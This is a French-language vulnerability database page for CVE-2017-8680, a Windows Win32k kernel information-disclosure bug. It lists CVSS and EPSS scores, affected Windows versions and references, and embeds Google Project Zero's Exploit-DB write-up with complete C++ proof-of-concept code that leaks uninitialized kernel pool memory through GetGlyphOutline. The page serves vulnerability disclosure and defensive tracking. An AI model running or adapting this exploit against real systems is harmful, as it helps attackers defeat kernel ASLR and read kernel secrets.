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CVE-2017-8680 : Détail

CVE-2017-8680

5.5
/
MEDIUM
A01-Broken Access Control
0.21%V3
Local
2017-09-11 22:00 +00:00
2017-09-20 07:57 +00:00
CVE.org
NVD

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Descriptions

The Windows kernel component on Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT 8.1 allows an information disclosure vulnerability when it improperly handles objects in memory, aka "Win32k Information Disclosure Vulnerability". This CVE ID is unique from CVE-2017-8678, CVE-2017-8677, CVE-2017-8681, and CVE-2017-8687.

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V3.0 5.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 42741

Date de publication : 2017-09-17 22:00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1267&desc=2 We have discovered that the win32k!NtGdiGetGlyphOutline system call handler may disclose large portions of uninitialized pool memory to user-mode clients. The function first allocates memory (using win32k!AllocFreeTmpBuffer) with a user-controlled size, then fills it with the outline data via win32k!GreGetGlyphOutlineInternal, and lastly copies the entire buffer back into user-mode address space. If the amount of data written by win32k!GreGetGlyphOutlineInternal is smaller than the size of the allocated memory region, the remaining part will stay uninitialized and will be copied in this form to the ring-3 client. The bug can be triggered through the official GetGlyphOutline() API, which is a simple wrapper around the affected system call. The information disclosure is particularly severe because it allows the attacker to leak an arbitrary number of bytes from an arbitrarily-sized allocation, potentially enabling them to "collide" with certain interesting objects in memory. Please note that the win32k!AllocFreeTmpBuffer routine works by first attempting to return a static block of 4096 bytes (win32k!gpTmpGlobalFree) for optimization, and only when it is already busy, a regular pool allocation is made. As a result, the attached PoC program will dump the contents of that memory region in most instances. However, if we enable the Special Pools mechanism for win32k.sys and start the program in a loop, we will occasionally see output similar to the following (for 64 leaked bytes). The repeated 0x67 byte in this case is the random marker inserted by Special Pools. --- cut --- 00000000: 67 67 67 67 67 67 67 67 67 67 67 67 67 67 67 67 gggggggggggggggg 00000010: 67 67 67 67 67 67 67 67 67 67 67 67 67 67 67 67 gggggggggggggggg 00000020: 67 67 67 67 67 67 67 67 67 67 67 67 67 67 67 67 gggggggggggggggg 00000030: 67 67 67 67 67 67 67 67 67 67 67 67 67 67 67 67 gggggggggggggggg --- cut --- Interestingly, the bug is only present on Windows 7 and 8. On Windows 10, the following memset() call was added: --- cut --- .text:0018DD88 loc_18DD88: ; CODE XREF: NtGdiGetGlyphOutline(x,x,x,x,x,x,x,x)+5D .text:0018DD88 push ebx ; size_t .text:0018DD89 push 0 ; int .text:0018DD8B push esi ; void * .text:0018DD8C call _memset --- cut --- The above code pads the overall memory area with zeros, thus preventing any kind of information disclosure. This suggests that the issue was identified internally by Microsoft but only fixed in Windows 10 and not backported to earlier versions of the system. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <cstdio> VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } int main(int argc, char **argv) { if (argc < 2) { printf("Usage: %s <number of bytes to leak>\n", argv[0]); return 1; } UINT NumberOfLeakedBytes = strtoul(argv[1], NULL, 0); // Create a Device Context. HDC hdc = CreateCompatibleDC(NULL); // Create a TrueType font. HFONT hfont = CreateFont(1, // nHeight 1, // nWidth 0, // nEscapement 0, // nOrientation FW_DONTCARE, // fnWeight FALSE, // fdwItalic FALSE, // fdwUnderline FALSE, // fdwStrikeOut ANSI_CHARSET, // fdwCharSet OUT_DEFAULT_PRECIS, // fdwOutputPrecision CLIP_DEFAULT_PRECIS, // fdwClipPrecision DEFAULT_QUALITY, // fdwQuality FF_DONTCARE, // fdwPitchAndFamily L"Times New Roman"); // Select the font into the DC. SelectObject(hdc, hfont); // Get the glyph outline length. GLYPHMETRICS gm; MAT2 mat2 = { 0, 1, 0, 0, 0, 0, 0, 1 }; DWORD OutlineLength = GetGlyphOutline(hdc, 'A', GGO_BITMAP, &gm, 0, NULL, &mat2); if (OutlineLength == GDI_ERROR) { printf("[-] GetGlyphOutline#1 failed.\n"); DeleteObject(hfont); DeleteDC(hdc); return 1; } // Allocate memory for the outline + leaked data. PBYTE OutputBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, OutlineLength + NumberOfLeakedBytes); // Fill the buffer with uninitialized pool memory from the kernel. OutlineLength = GetGlyphOutline(hdc, 'A', GGO_BITMAP, &gm, OutlineLength + NumberOfLeakedBytes, OutputBuffer, &mat2); if (OutlineLength == GDI_ERROR) { printf("[-] GetGlyphOutline#2 failed.\n"); HeapFree(GetProcessHeap(), 0, OutputBuffer); DeleteObject(hfont); DeleteDC(hdc); return 1; } // Print the disclosed bytes on screen. PrintHex(&OutputBuffer[OutlineLength], NumberOfLeakedBytes); // Free resources. HeapFree(GetProcessHeap(), 0, OutputBuffer); DeleteObject(hfont); DeleteDC(hdc); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

References

http://www.securityfocus.com/bid/100722
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1039338
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/42741/
Tags : exploit, x_refsource_EXPLOIT-DB

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